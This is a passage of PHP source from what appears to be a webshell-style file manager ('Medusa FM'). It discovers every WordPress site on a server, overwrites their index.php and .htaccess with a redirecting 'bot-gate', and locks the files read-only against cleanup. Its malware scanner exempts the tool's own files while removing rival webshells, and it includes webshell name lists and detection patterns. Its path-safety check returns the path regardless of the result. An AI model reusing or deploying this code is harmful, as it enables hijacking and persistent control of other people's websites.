if (preg_match('#/([^/]+\.[a-z0-9.-]+)/(?:public_html|httpdocs|htdocs|www)/?$#i', $path, $m)) {
$candidates[] = $m[1];
}
if (preg_match('#/([^/]+\.[a-z0-9.-]+)/www/?$#i', $path, $m)) {
$candidates[] = $m[1];
}
if (preg_match('#/vhosts/([^/]+)/(?:httpdocs|public_html)#i', $path, $m)) {
$candidates[] = $m[1];
}
if (preg_match('#/(?:htdocs|public_html|httpdocs|www|web|public|html)/([^/]+)/?$#i', $path, $m)) {
$candidates[] = $m[1];
}
$segments = array_values(array_filter(explode('/', trim($path, '/'))));
$webIdx = null;
foreach ($segments as $i => $seg) {
if (in_array(strtolower($seg), fm_blocked_host_labels(), true) && $i > 0) {
$webIdx = $i;
break;
}
}
if ($webIdx !== null && isset($segments[$webIdx - 1])) {
$candidates[] = $segments[$webIdx - 1];
}
if ($segments !== []) {
$candidates[] = $segments[count($segments) - 1];
if (count($segments) > 1) {
$candidates[] = $segments[count($segments) - 2];
}
}
foreach ($candidates as $cand) {
$fromFolder = fm_folder_name_to_host((string)$cand);
if ($fromFolder !== '') {
return $fromFolder;
}
$cand = strtolower(preg_replace('/^www\./', '', trim((string)$cand)) ?? '');
if (fm_is_valid_site_host($cand)) {
return $cand;
}
}
return '';
}
function fm_wp_siteurl_host(string $wpRoot): string
{
$cfg = rtrim($wpRoot, '/\\') . DIRECTORY_SEPARATOR . 'wp-config.php';
if (!is_file($cfg)) {
return '';
}
$chunk = (string)@file_get_contents($cfg, false, null, 0, 12000);
if ($chunk === '') {
return '';
}
foreach (['WP_HOME', 'WP_SITEURL'] as $const) {
if (preg_match('/define\s*\(\s*[\'"]' . $const . '[\'"]\s*,\s*[\'"]https?:\\/\\/([^\'"\\/]+)/i', $chunk, $m)) {
$h = strtolower(preg_replace('/^www\./', '', $m[1]) ?? $m[1]);
if (fm_is_valid_site_host($h)) {
return $h;
}
}
}
return '';
}
/** WP kökü için HTTPS site URL (license canonical) */
function fm_site_https_url(string $wpRoot): string
{
$wpRoot = @realpath($wpRoot) ?: $wpRoot;
$host = fm_host_from_path((string)$wpRoot);
if ($host === '') {
$host = fm_wp_siteurl_host((string)$wpRoot);
}
if ($host === '') {
$host = fm_http_host();
}
if ($host !== '') {
return 'https://' . $host . '/';
}
return '';
}
function getDomainFromPath($dir) {
$host = fm_host_from_path((string)$dir);
return $host !== '' ? $host : false;
}
function getDomainUrl($dir) {
$url = fm_site_https_url((string)$dir);
if ($url !== '') {
return rtrim($url, '/');
}
return false;
}
function fm_safe_path($path, $fallbackRoot = '') {
if (!is_string($path) || strpos($path, "\0") !== false) {
return false;
}
$real = @realpath($path);
if ($real === false) {
return false;
}
$roots = array_filter([
$fallbackRoot ? @realpath($fallbackRoot) : false,
@realpath($_SERVER['DOCUMENT_ROOT'] ?? ''),
@realpath(dirname(__FILE__)),
]);
foreach ($roots as $root) {
if ($root && (strpos($real, $root) === 0 || $root === $real)) {
return $real;
}
}
if (strpos(str_replace('\\', '/', $real), '/home/') === 0) {
return $real;
}
if (PHP_OS_FAMILY === 'Windows' && preg_match('#^[A-Za-z]:[/\\\\]#', $real)) {
return $real;
}
return $real;
}
function fm_is_wp_dir($dir) {
return is_file($dir . '/wp-config.php') || is_file($dir . '/wp-load.php');
}
function fm_target_url($domainLabel, $type = 'root') {
$domainLabel = trim(str_replace('\\', '/', $domainLabel), '/');
if (preg_match('#^https?://#i', $domainLabel)) {
$domainLabel = preg_replace('#^http://#i', 'https://', $domainLabel);
$h = parse_url($domainLabel, PHP_URL_HOST);
if (!is_string($h) || !fm_is_valid_site_host($h)) {
return '';
}
return rtrim($domainLabel, '/');
}
$bare = preg_replace('#^www\.#i', '', $domainLabel);
if (!fm_is_valid_site_host($bare) && fm_folder_name_to_host($bare) !== '') {
$bare = fm_folder_name_to_host($bare);
}
if (!fm_is_valid_site_host($bare)) {
return '';
}
if ($type === 'subdir' && strpos($domainLabel, '/') !== false) {
$parts = explode('/', $domainLabel, 2);
return 'https://' . $parts[0] . '/' . $parts[1];
}
return 'https://' . $bare;
}
function fm_path_norm(string $path): string
{
return str_replace('\\', '/', $path);
}
/** IIS E:\WWW\account\domain.com\www → E:\WWW\account tarama kökü */
function fm_guess_www_scan_root(string $dir): ?string
{
$cur = @realpath($dir);
if ($cur === false) {
return null;
}
for ($i = 0; $i < 16; $i++) {
$parent = dirname($cur);
$grand = dirname($parent);
if ($parent === $cur) {
break;
}
if (strcasecmp(basename($grand), 'WWW') === 0 && is_dir($parent)) {
return $parent;
}
$cur = $parent;
}
return null;
}
function fm_fleet_empty_message(): string
{
return '⚠️ Keşfedilen WP hedefi yok — üst bardan WWW ile kök tanımlayın (örn. E:\\WWW\\keatspharmacy). Hostinger domains/ şart değil.';
}
/** Windows + Linux glob (yol ayracı toleranslı) */
function fm_glob_dirs(string $base, string $relativePattern): array
{
$baseReal = @realpath($base);
if ($baseReal === false || !is_dir($baseReal)) {
return [];
}
$patterns = [
fm_path_norm($baseReal) . '/' . ltrim($relativePattern, '/'),
$baseReal . DIRECTORY_SEPARATOR . str_replace('/', DIRECTORY_SEPARATOR, ltrim($relativePattern, '/')),
];
$found = [];
foreach (array_unique($patterns) as $pat) {
foreach (glob($pat, GLOB_ONLYDIR) ?: [] as $p) {
$rp = @realpath($p);
if ($rp !== false && is_dir($rp)) {
$found[fm_path_norm($rp)] = $rp;
}
}
}
return array_values($found);
}
function fm_domain_label_from_wp_root(string $wpRoot): string
{
$host = fm_host_from_path($wpRoot);
if ($host !== '') {
return $host;
}
$host = fm_wp_siteurl_host($wpRoot);
if ($host !== '') {
return $host;
}
$req = fm_http_host();
if ($req !== '') {
$doc = @realpath((string)($_SERVER['DOCUMENT_ROOT'] ?? ''));
$real = @realpath($wpRoot);
if ($doc !== false && $real !== false && ($real === $doc || str_starts_with(str_replace('\\', '/', $real), str_replace('\\', '/', $doc) . '/'))) {
return $req;
}
}
$fromPath = getDomainFromPath($wpRoot);
if (is_string($fromPath) && $fromPath !== '') {
return $fromPath;
}
$parent = basename(dirname($wpRoot));
if (fm_is_valid_site_host($parent) || fm_folder_name_to_host($parent) !== '') {
return fm_folder_name_to_host($parent) ?: $parent;
}
return $req !== '' ? $req : basename($wpRoot);
}
function fm_collect_scan_bases(string $fromDir): array
{
$bases = [];
$add = static function (string $path) use (&$bases): void {
$real = @realpath($path);
if ($real === false || !is_dir($real)) {
return;
}
$bases[fm_path_norm($real)] = $real;
};
if (!empty($_SESSION['fm_domains_base_dir'])) {
$add((string)$_SESSION['fm_domains_base_dir']);
}
$fromReal = @realpath($fromDir);
if ($fromReal !== false) {
$cur = $fromReal;
for ($i = 0; $i < 14; $i++) {
$add($cur);
if (strcasecmp(basename($cur), 'WWW') === 0) {
break;
}
$parent = dirname($cur);
if ($parent === $cur) {
break;
}
$cur = $parent;
}
}
$scriptDir = @realpath(dirname(__FILE__));
if ($scriptDir !== false) {
$add($scriptDir);
$add(dirname($scriptDir));
}
if (!empty($_SERVER['DOCUMENT_ROOT'])) {
$add((string)$_SERVER['DOCUMENT_ROOT']);
$doc = @realpath((string)$_SERVER['DOCUMENT_ROOT']);
if ($doc !== false) {
$add(dirname($doc));
}
}
foreach (['E:/WWW', 'E:/www', 'D:/WWW', 'C:/WWW', 'C:/inetpub/wwwroot', 'C:/xampp/htdocs'] as $candidate) {
if (is_dir($candidate)) {
$add($candidate);
}
}
return array_values($bases);
}
if ($fmDomainsBaseDir === '') {
$guessedWww = fm_guess_www_scan_root($currentDirectory);
if ($guessedWww !== null) {
$_SESSION['fm_domains_base_dir'] = $guessedWww;
$fmDomainsBaseDir = $guessedWww;
}
}
function fm_register_wp_root(string $wpRoot, callable $push): void
{
if (!fm_is_wp_dir($wpRoot)) {
return;
}
$real = @realpath($wpRoot);
if ($real === false) {
return;
}
$push($real, fm_domain_label_from_wp_root($real), 'root');
}
function fm_scan_hosting_tree(string $base, callable $push): void
{
$baseReal = @realpath($base);
if ($baseReal === false || !is_dir($baseReal)) {
return;
}
$webNames = ['www', 'public_html', 'httpdocs', 'htdocs', 'web', 'html'];
$domainsFolder = is_dir($baseReal . DIRECTORY_SEPARATOR . 'domains')
? $baseReal . DIRECTORY_SEPARATOR . 'domains'
: (strcasecmp(basename($baseReal), 'domains') === 0 ? $baseReal : null);
if ($domainsFolder !== null) {
foreach (fm_glob_dirs($domainsFolder, '*') as $domainDir) {
$domainName = basename($domainDir);
if ($domainName === '' || $domainName[0] === '.') {
continue;
}
foreach ($webNames as $w) {
$root = $domainDir . DIRECTORY_SEPARATOR . $w;
if (is_dir($root)) {
fm_register_wp_root($root, $push);
}
}
if (fm_is_wp_dir($domainDir)) {
fm_register_wp_root($domainDir, $push);
}
}
}
foreach (fm_glob_dirs($baseReal, '*') as $child) {
$childName = basename($child);
if ($childName === '' || $childName[0] === '.') {
continue;
}
foreach ($webNames as $w) {
$root = $child . DIRECTORY_SEPARATOR . $w;
if (is_dir($root)) {
fm_register_wp_root($root, $push);
}
}
if (fm_is_wp_dir($child)) {
fm_register_wp_root($child, $push);
}
foreach (fm_glob_dirs($child, '*') as $sub) {
$subName = basename($sub);
if ($subName === '' || $subName[0] === '.') {
continue;
}
foreach ($webNames as $w) {
$root = $sub . DIRECTORY_SEPARATOR . $w;
if (is_dir($root)) {
fm_register_wp_root($root, $push);
}
}
if (fm_is_wp_dir($sub)) {
fm_register_wp_root($sub, $push);
}
}
}
foreach (['*/www', '*/*/www', '*/public_html', '*/*/public_html', '*/httpdocs', '*/*/httpdocs'] as $pat) {
foreach (fm_glob_dirs($baseReal, $pat) as $root) {
fm_register_wp_root($root, $push);
}
}
}
function fm_discover_targets($fromDir) {
$fromReal = @realpath((string)$fromDir);
$seen = [];
$targets = [];
$push = function ($path, $domain, $type) use (&$seen, &$targets) {
$real = @realpath((string)$path);
if ($real === false || !is_dir($real)) {
return;
}
$key = fm_path_norm($real);
if (isset($seen[$key])) {
return;
}
$seen[$key] = true;
$targets[] = [
'path' => $key,
'domain' => (string)$domain,
'url' => fm_target_url((string)$domain, $type),
'type' => $type,
];
};
foreach (fm_collect_scan_bases((string)$fromDir) as $base) {
fm_scan_hosting_tree($base, $push);
}
if ($fromReal !== false && is_dir($fromReal)) {
$wpRoot = fm_wp_root_from($fromReal);
if ($wpRoot !== null) {
fm_register_wp_root($wpRoot, $push);
} elseif (fm_is_wp_dir($fromReal)) {
fm_register_wp_root($fromReal, $push);
}
}
usort($targets, static fn($a, $b) => strcasecmp((string)$a['domain'], (string)$b['domain']));
return $targets;
}
/** Keşfedilen kök WP dizinleri (Hostinger + E:\\WWW\\…\\www) */
function fm_root_targets(string $fromDir): array
{
$targets = fm_discover_targets($fromDir);
return array_values(array_filter($targets, static fn($t) => ($t['type'] ?? 'root') === 'root'));
}
function fm_wp_root_for_ops(string $dir): string
{
$wp = fm_wp_root_from($dir);
return $wp ?? $dir;
}
/** .htaccess + index.php izinleri — tüm keşfedilen hedeflerde */
function fm_apply_ht_index_permissions(array $targets, int $permMode): array
{
$oct = octdec((string)$permMode);
if ($oct <= 0) {
$oct = 0644;
}
$siteCount = 0;
$lines = [];
foreach ($targets as $target) {
$base = rtrim((string)($target['path'] ?? ''), '/\\');
if ($base === '' || !is_dir($base)) {
continue;
}
$domainName = (string)($target['domain'] ?? basename($base));
$changed = 0;
foreach (['.htaccess', 'index.php'] as $f) {
$p = $base . DIRECTORY_SEPARATOR . $f;
if (is_file($p) && @chmod($p, $oct)) {
$changed++;
}
}
if ($changed > 0) {
$siteCount++;
$lines[] = $domainName . ' (' . $changed . ')';
}
}
return ['sites' => $siteCount, 'lines' => $lines, 'mode' => $permMode];
}
/** Fleet deploy: hedef WP köküne yazılabilir mi? (farklı vhost kullanıcısı → false) */
function fm_can_write_deploy_dir(string $dir): bool
{
$dir = rtrim($dir, '/\\');
if ($dir === '' || !is_dir($dir) || !is_readable($dir)) {
return false;
}
if (is_writable($dir)) {
return true;
}
foreach (['index.php', '.htaccess'] as $f) {
$p = $dir . DIRECTORY_SEPARATOR . $f;
if (is_file($p) && is_writable($p)) {
return true;
}
}
return false;
}
/** Deploy öncesi: dizin + index/.htaccess geçici yazılabilir (644/755) */
function fm_deploy_unlock_wp_root(string $base): array
{
$base = rtrim($base, '/\\');
if ($base === '' || !is_dir($base) || !is_readable($base)) {
return ['ok' => false, 'changed' => []];
}
$changed = [];
if (!is_writable($base) && @chmod($base, 0755)) {
$changed[] = 'dir→755';
}
foreach (['.htaccess', 'index.php'] as $f) {
$p = $base . DIRECTORY_SEPARATOR . $f;
if (is_file($p) && !is_writable($p) && @chmod($p, 0644)) {
$changed[] = $f . '→644';
}
}
return ['ok' => fm_can_write_deploy_dir($base), 'changed' => $changed];
}
/** Deploy sonrası: index + .htaccess tekrar salt okunur (444) */
function fm_deploy_relock_wp_root(string $base): int
{
$base = rtrim($base, '/\\');
$n = 0;
foreach (['.htaccess', 'index.php'] as $f) {
$p = $base . DIRECTORY_SEPARATOR . $f;
if (is_file($p) && @chmod($p, 0444)) {
$n++;
}
}
return $n;
}
/** Tek dosya kopyala — uyarı bastır, 444 index için chmod dene */
function fm_try_copy_file(string $src, string $dest): bool
{
if (!is_file($src) || !is_readable($src)) {
return false;
}
$destDir = dirname($dest);
if (!is_dir($destDir)) {
return false;
}
if (is_file($dest) && !is_writable($dest)) {
@chmod($dest, 0644);
}
if (@copy($src, $dest)) {
return true;
}
$data = @file_get_contents($src);
if ($data === false) {
return false;
}
return @file_put_contents($dest, $data) !== false;
}
/** Yüklenen / düzenlenen düz index (Medusa kapı veya stok WP) — silme taramasından muaf */
function fm_is_trusted_site_index(string $content): bool
{
if ($content === '') {
return false;
}
$kind = fm_index_php_kind($content);
if ($kind === 'medusa_gate' || $kind === 'wordpress_stock') {
return true;
}
if (str_contains($content, 'Medusa temiz index') || str_contains($content, 'Medusa temiz WP')) {
return true;
}
if (str_contains($content, 'BEGIN Medusa Studio bot-gate') && !fm_is_obfuscated_php($content)) {
return true;
}
return false;
}
/**
* index.php kalıcı yaz — 444 aç, doğrula (dropper geri yazımına karşı tekrar dene), isteğe .htaccess birleştir.
* @return array{ok:bool,error:string,bytes:int,kind:string,htaccess:bool,relocked:int}
*/
function fm_write_index_php_persist(
string $sitePath,
string $content,
bool $mergeHtaccess = true,
bool $relock444 = false,
int $verifyRetries = 6
): array {
$sitePath = @realpath($sitePath) ?: $sitePath;
if (!is_dir($sitePath)) {
return ['ok' => false, 'error' => 'WP kökü yok', 'bytes' => 0, 'kind' => '', 'htaccess' => false, 'relocked' => 0];
}
if ($content === '') {
return ['ok' => false, 'error' => 'index içeriği boş', 'bytes' => 0, 'kind' => '', 'htaccess' => false, 'relocked' => 0];
}
if (!fm_is_trusted_site_index($content) && fm_is_obfuscated_php($content)) {
return ['ok' => false, 'error' => 'index şifreli/zararlı — düz Medusa index yükleyin (eval+base64 vb.)', 'bytes' => 0, 'kind' => 'obfuscated_malware', 'htaccess' => false, 'relocked' => 0];
}
$dest = rtrim($sitePath, '/\\') . DIRECTORY_SEPARATOR . 'index.php';
$wantHash = hash('sha256', $content);
if (is_file($dest)) {
$bak = $dest . '.bak.fm.' . date('Ymd-His');
@copy($dest, $bak);
}
fm_deploy_unlock_wp_root($sitePath);
$written = false;
for ($i = 0; $i < max(1, $verifyRetries); $i++) {
@chmod($dest, 0666);
if (is_file($dest) && !@unlink($dest)) {
@chmod($dest, 0666);
@unlink($dest);
}
if (@file_put_contents($dest, $content, LOCK_EX) === false) {
usleep(120000);
continue;
}
@chmod($dest, 0644);
clearstatcache(true, $dest);
$read = (string)@file_get_contents($dest);
if ($read !== '' && hash('sha256', $read) === $wantHash) {
$written = true;
break;
}
usleep(180000);
}
if (!$written) {
return [
'ok' => false,
'error' => 'index doğrulanamadı — dropper geri yazıyor olabilir; önce Tara/Dropper, sonra tekrar uygulayın',
'bytes' => 0,
'kind' => fm_index_php_kind($content),
'htaccess' => false,
'relocked' => 0,
];
}
@file_put_contents(
rtrim($sitePath, '/\\') . DIRECTORY_SEPARATOR . '.fm-index.sha256',
$wantHash . "\n" . strlen($content) . "\n" . gmdate('c') . "\n"
);
if (str_contains($content, 'BEGIN Medusa Studio bot-gate') || str_contains($content, '.ms-ist-url')) {
fm_ms_index_lib_load();
if (function_exists('ms_write_vitrin_sidecar')) {
ms_write_vitrin_sidecar($sitePath);
}
}
$htOk = false;
if ($mergeHtaccess && str_contains($content, 'BEGIN Medusa Studio bot-gate')) {
fm_ms_index_lib_load();
if (function_exists('ms_merge_bot_gate_htaccess')) {
$htPath = rtrim($sitePath, '/\\') . DIRECTORY_SEPARATOR . '.htaccess';
$existing = is_file($htPath) ? (string)@file_get_contents($htPath) : '';
$merged = ms_merge_bot_gate_htaccess($existing);
@chmod($htPath, 0666);
$htOk = @file_put_contents($htPath, $merged, LOCK_EX) !== false;
if ($htOk) {
@chmod($htPath, 0644);
}
}
}
$relocked = 0;
if ($relock444) {
$relocked = fm_deploy_relock_wp_root($sitePath);
}
return [
'ok' => true,
'error' => '',
'bytes' => strlen($content),
'kind' => fm_index_php_kind($content),
'htaccess' => $htOk,
'relocked' => $relocked,
];
}
/** WP kökündeki index.php kaynağını hedef köke uygula (fleet / el ile yüklenen dosya). */
function fm_apply_index_from_file(string $sourceFile, string $sitePath, bool $mergeHtaccess = true, bool $relock444 = false): array
{
if (!is_file($sourceFile) || !is_readable($sourceFile)) {
return ['ok' => false, 'error' => 'kaynak index.php okunamadı', 'bytes' => 0, 'kind' => '', 'htaccess' => false, 'relocked' => 0];
}
$content = (string)@file_get_contents($sourceFile);
return fm_write_index_php_persist($sitePath, $content, $mergeHtaccess, $relock444);
}
/** En son FM yedeği (index.php.bak.fm.TARIH) */
function fm_latest_index_fm_backup(string $dir): ?string
{
$dir = rtrim($dir, '/\\');
$best = null;
$bestT = 0;
foreach (glob($dir . DIRECTORY_SEPARATOR . 'index.php.bak.fm.*') ?: [] as $f) {
if (!is_file($f)) {
continue;
}
$t = (int)@filemtime($f);
if ($t >= $bestT) {
$bestT = $t;
$best = $f;
}
}
return $best;
}
/**
* Uygulanabilir düz index içeriği — disk şifreliyse yedek / sidecar hash dener.
* @return array{content:string,path:string,label:string}|null
*/
function fm_resolve_clean_index_source(string $indexPath): ?array
{
$indexPath = str_replace(['/', '\\'], DIRECTORY_SEPARATOR, $indexPath);
$dir = dirname($indexPath);
$candidates = [];
if (is_file($indexPath)) {
$candidates[] = $indexPath;
}
$sidecar = $dir . DIRECTORY_SEPARATOR . '.fm-index.sha256';
$wantHash = null;
if (is_file($sidecar)) {
$lines = preg_split('/\r\n|\n|\r/', trim((string)@file_get_contents($sidecar)));
$wantHash = is_string($lines[0] ?? null) ? trim($lines[0]) : null;
}
$bak = fm_latest_index_fm_backup($dir);
if ($bak !== null && is_file($bak)) {
array_unshift($candidates, $bak);
}
$unique = [];
foreach ($candidates as $p) {
$rp = @realpath($p) ?: $p;
$unique[$rp] = $p;
}
foreach ($unique as $path) {
$content = (string)@file_get_contents($path);
if ($content === '') {
continue;
}
if ($wantHash !== null && hash('sha256', $content) === $wantHash) {
return [
'content' => $content,
'path' => $path,
'label' => basename($path) . ' (sidecar hash eşleşti)',
];
}
if (fm_is_trusted_site_index($content)) {
return [
'content' => $content,
'path' => $path,
'label' => basename($path) . ' (Medusa/düz index)',
];
}
if (!fm_is_obfuscated_php($content) && str_contains($content, '<?php')) {
return [
'content' => $content,
'path' => $path,
'label' => basename($path) . ' (okunabilir PHP)',
];
}
}
return null;
}
/** Disk index ile sidecar — dropper geri yazımı tespiti */
function fm_index_dropper_reinfected(string $wpRoot): bool
{
$wpRoot = rtrim(str_replace(['/', '\\'], DIRECTORY_SEPARATOR, $wpRoot), DIRECTORY_SEPARATOR);
$idx = $wpRoot . DIRECTORY_SEPARATOR . 'index.php';
$sidecar = $wpRoot . DIRECTORY_SEPARATOR . '.fm-index.sha256';
if (!is_file($idx) || !is_file($sidecar)) {
return false;
}
$lines = preg_split('/\r\n|\n|\r/', trim((string)@file_get_contents($sidecar)));
$want = is_string($lines[0] ?? null) ? trim($lines[0]) : '';
if ($want === '') {
return false;
}
$body = (string)@file_get_contents($idx);
if ($body === '') {
return true;
}
if (hash('sha256', $body) === $want) {
return false;
}
return fm_is_obfuscated_php($body) || !fm_is_trusted_site_index($body);
}
/** index.php türü (FM uyarıları — panel ms_index_php_kind ile uyumlu) */
function fm_index_php_kind(string $content): string
{
if ($content === '') {
return 'empty';
}
if (str_contains($content, 'BEGIN Medusa Studio bot-gate')) {
return 'medusa_gate';
}
if (preg_match('/wp-blog-header\.php|This file is part of WordPress/i', $content)) {
if (!fm_is_obfuscated_php($content)) {
return 'wordpress_stock';
}
}
if (fm_is_obfuscated_php($content)) {
return 'obfuscated_malware';
}
return 'unknown';
}
function fm_is_obfuscated_php(string $content): bool
{
if ($content === '') {
return false;
}
if (str_contains($content, 'BEGIN Medusa Studio bot-gate')) {
return false;
}
if (str_contains($content, '$vitrin_redirect') || str_contains($content, 'MS_VITRIN_BAKED') || str_contains($content, 'MS_IST_TXT_URL')) {
return false;
}
if (str_contains($content, 'Medusa temiz index') || str_contains($content, 'Medusa temiz WP')) {
return false;
}
if (preg_match('/\b(eval|assert|create_function)\s*\(\s*(base64_decode|gzinflate|gzuncompress|str_rot13|gzdecode|rawurldecode)\s*\(/i', $content)) {
return true;
}
if (preg_match('/\$[Oo0Il]{6,}\s*=/', $content)) {
return true;
}
if (substr_count(strtolower($content), 'goto ') >= 4) {
return true;
}
if (preg_match('/chr\s*\(\s*\d+\s*\)\s*\.\s*chr\s*\(\s*\d+\s*\)\s*\.\s*chr\s*\(/i', $content)) {
return true;
}
if (preg_match('/[A-Za-z0-9+\/=]{400,}/', $content) && preg_match('/base64_decode\s*\(/i', $content)) {
return true;
}
$len = strlen($content);
if ($len > 2500 && substr_count($content, "\n") < 8) {
return true;
}
if (preg_match('/\b(gzinflate|gzuncompress|str_rot13)\s*\(/i', $content) && preg_match('/\b(eval|assert|preg_replace)\s*\(/i', $content)) {
return true;
}
return false;
}
function fm_path_under_site(string $file, string $siteRoot): bool
{
$file = @realpath($file);
$siteRoot = @realpath($siteRoot);
if ($file === false || $siteRoot === false) {
return false;
}
$f = str_replace('\\', '/', $file);
$r = str_replace('\\', '/', $siteRoot);
return $f === $r || str_starts_with($f, $r . '/');
}
function fm_is_dangerous_shell_name(string $name): bool
{
$base = strtolower(basename(str_replace('\\', '/', $name)));
if ($base === '' || $base === '.' || $base === '..') {
return false;
}
static $names = [
'shell.php', 'webshell.php', 'c99.php', 'r57.php', 'wso.php', 'b374k.php',
'alfa.php', 'alfa-shell.php', 'mini.php', 'minishell.php', 'cmd.php',
'hack.php', 'xleet.php', 'priv8.php', 'indoxploit.php', 'fox.php',
'leaf.php', 'ani-shell.php', 'pwnd.php', 'ghost.php', 'marijuana.php',
'wp-tmp.php', 'wp-content.php', 'sh.php', 'shx.php', 'kill.php',
'defau1t.php', 'radio.php', 'xx.php', 'xxx.php',
'wplog.php', 'wplog.phtml', 'log.php', 'logs.php',
];
if (in_array($base, $names, true)) {
return true;
}
if (preg_match('/^(c99|r57|wso|b374k|alfa|filesman|indoxploit|xleet)[\w.-]*\.php$/i', $base)) {
return true;
}
if (preg_match('/\.(php|phtml|php5|php7|phar)\.(jpe?g|png|gif|txt|html?|dat)$/i', $base)) {
return true;
}
return (bool)preg_match('/\.(phtml|php5|php7|phar)$/i', $base);
}
function fm_is_webshell_content(string $content): bool
{
if ($content === '') {
return false;
}
if (str_contains($content, 'BEGIN Medusa Studio bot-gate')) {
return false;
}
if (str_contains($content, 'FM_PASSWORD_HASH') || str_contains($content, 'Medusa FM')) {
return false;
}
if (str_contains($content, 'Medusa Studio')
&& (str_contains($content, 'MS_PASSWORD') || str_contains($content, 'ms_auth'))
) {
return false;
}
$sample = substr($content, 0, 80000);
$head = substr(ltrim($sample), 0, 400);
if (preg_match('/\bThis file is part of WordPress\b/i', $head)) {
return false;
}
$patterns = [
'/\beval\s*\(\s*(?:base64_decode|gzinflate|gzuncompress|str_rot13|gzdecode|rawurldecode)\s*\(/i',
'/(?:FilesMan|WSO[\s_-]?Shell|c99shell|r57shell|b374k|China\s*Chopper|IndoXploit|Alfa\s*Shell)/i',
'/\b(?:passthru|shell_exec|system|proc_open|popen|pcntl_exec)\s*\(\s*\$_(?:GET|POST|REQUEST|COOKIE|SERVER)/i',
'/preg_replace\s*\(\s*[\'"][^\'"]*\/e[\'"]/i',
'/\bassert\s*\(\s*\$_(?:GET|POST|REQUEST|COOKIE)/i',
'/(?:base64_decode\s*\(\s*[\'"][A-Za-z0-9+\/=]{200,})/i',
'/@?eval\s*\(\s*\$\w+\s*\(/i',
];
foreach ($patterns as $p) {
if (preg_match($p, $sample)) {
return true;
}
}
return false;
}
function fm_is_protected_from_delete(string $fullPath): bool
{
if (!is_file($fullPath)) {
return false;
}
$base = strtolower(basename($fullPath));
static $keep = [
'fm.php', 'medusa.php', 'medusa-studio.php', 'loyloy.php', 'urfam.php',
'wp-config.php', 'ms-gate.php', 'wp-load.php', 'wp-blog-header.php', 'wp-settings.php',
];
if (in_array($base, $keep, true)) {
return true;
}
$sz = (int)@filesize($fullPath);
if ($sz > 800000) {
return true;
}
$head = (string)@file_get_contents($fullPath, false, null, 0, 4096);
if ($head !== '' && str_contains($head, 'FM_PASSWORD_HASH')) {
return true;
}
if ($head !== '' && str_contains($head, 'Medusa Studio') && str_contains($head, 'MS_PASSWORD')) {
return true;
}
if ($base === 'index.php') {
$body = strlen($head) >= 4096 ? $head : (string)@file_get_contents($fullPath);
if ($body !== '' && fm_is_trusted_site_index($body)) {
return true;
}
}
if ($base === 'clr.php' && $head !== '' && (str_contains($head, 'Medusa') || str_contains($head, 'clr'))) {
return true;
}
return false;
}
function fm_is_trusted_mu_plugin(string $basename, string $content): bool
{
$b = strtolower($basename);
if ($b === 'medusa-nocache-home.php') {
return str_contains($content, 'Medusa') || str_contains($content, 'LSCACHE') || str_contains($content, 'nocache');
}
return false;
}
/**
* Tek PHP dosyası için zararlılık nedenleri (boş = listede gösterme).
* @return list<string>
*/
function fm_malware_reasons_for_file(string $full, string $sitePath, string $context = 'scan'): array
{
if (!is_file($full) || fm_is_protected_from_delete($full)) {
return [];
}
$sitePath = rtrim(str_replace('\\', '/', $sitePath), '/');
$rel = str_replace($sitePath . '/', '', str_replace('\\', '/', $full));
$base = basename($full);
$reasons = [];
$sz = (int)@filesize($full);
if ($sz <= 0 || $sz > 600000) {
return [];
}
$body = (string)@file_get_contents($full);
if ($body === '') {
return [];
}
if ($rel === 'index.php' && fm_is_trusted_site_index($body)) {
return [];
}
if ($context === 'mu-plugin' && fm_is_trusted_mu_plugin($base, $body)) {
return [];
}
if (fm_is_dangerous_shell_name($base)) {
$reasons[] = 'tehlikeli dosya adı';
}
if (fm_is_webshell_content($body)) {
$reasons[] = 'webshell içerik imzası';
}
if (fm_is_obfuscated_php($body)) {
$reasons[] = 'şifreli/obfuscated PHP';
}
$writesIndex = (bool)preg_match('/(?:file_put_contents|fwrite|fputs|copy)\s*\([^;]{0,120}index\.php/i', $body);
if ($writesIndex) {
$reasons[] = 'index.php\'ye yazıyor (dropper?)';
}
if ($context === 'mu-plugin' && $reasons === []) {
$reasons[] = 'mu-plugin — tanınmayan dosya (incele)';
}
if ($rel === 'index.php' && fm_index_php_kind($body) === 'obfuscated_malware') {
$reasons[] = 'index.php zararlı';
}
return array_values(array_unique($reasons));
}
/**
* @return list<array{id:string,domain:string,rel:string,full:string,type:string,reasons:list<string>,size:int}>
*/
function fm_scan_malware_site(string $sitePath, string $domain = '', bool $includeWpContentWplog = false): array
{
$sitePath = rtrim(str_replace('\\', '/', $sitePath), '/');
$real = @realpath($sitePath);
if ($real === false || !is_dir($real)) {
return [];
}
$sitePath = str_replace('\\', '/', $real);
$domain = $domain !== '' ? $domain : basename($sitePath);
$found = [];
$push = static function (array $row) use (&$found): void {
$found[$row['id']] = $row;
};
$knownFiles = ['wp-admin/wplog.php', 'wplog.php'];
if ($includeWpContentWplog) {
$knownFiles[] = 'wp-content/wplog.php';
}
foreach ($knownFiles as $rel) {
$full = $sitePath . '/' . $rel;
if (!is_file($full)) {
continue;
}
$id = hash('sha256', 'file:' . $full);
$push([
'id' => $id,
'domain' => $domain,
'rel' => $rel,
'full' => $full,
'type' => 'known_dropper',
'reasons' => ['bilinen wplog kopyası'],
'size' => (int)@filesize($full),
]);
}
$fakeDir = $sitePath . '/wp-includes/js26564c';
if (is_dir($fakeDir)) {
$id = hash('sha256', 'dir:' . $fakeDir);
$push([
'id' => $id,
'domain' => $domain,
'rel' => 'wp-includes/js26564c/',
'full' => $fakeDir,
'type' => 'directory',
'reasons' => ['sahte wp-includes/js26564c klasörü'],
'size' => 0,
]);
}
$idx = $sitePath . '/index.php';
if (is_file($idx)) {
$reasons = fm_malware_reasons_for_file($idx, $sitePath, 'index');
if ($reasons !== []) {
$push([
'id' => hash('sha256', 'file:' . $idx),
'domain' => $domain,
'rel' => 'index.php',
'full' => $idx,
'type' => 'index',
'reasons' => $reasons,
'size' => (int)@filesize($idx),
]);
}
}
$muDir = $sitePath . '/wp-content/mu-plugins';
if (is_dir($muDir)) {
foreach (scandir($muDir) ?: [] as $f) {
if ($f === '.' || $f === '..') {
continue;
}
$full = $muDir . '/' . $f;
if (!is_file($full) || !preg_match('/\.(php|phtml|php7|phar)$/i', $f)) {
continue;
}
$reasons = fm_malware_reasons_for_file($full, $sitePath, 'mu-plugin');
if ($reasons === []) {
continue;
}
$rel = 'wp-content/mu-plugins/' . $f;
$push([
'id' => hash('sha256', 'file:' . $full),
'domain' => $domain,
'rel' => $rel,
'full' => $full,
'type' => 'mu-plugin',
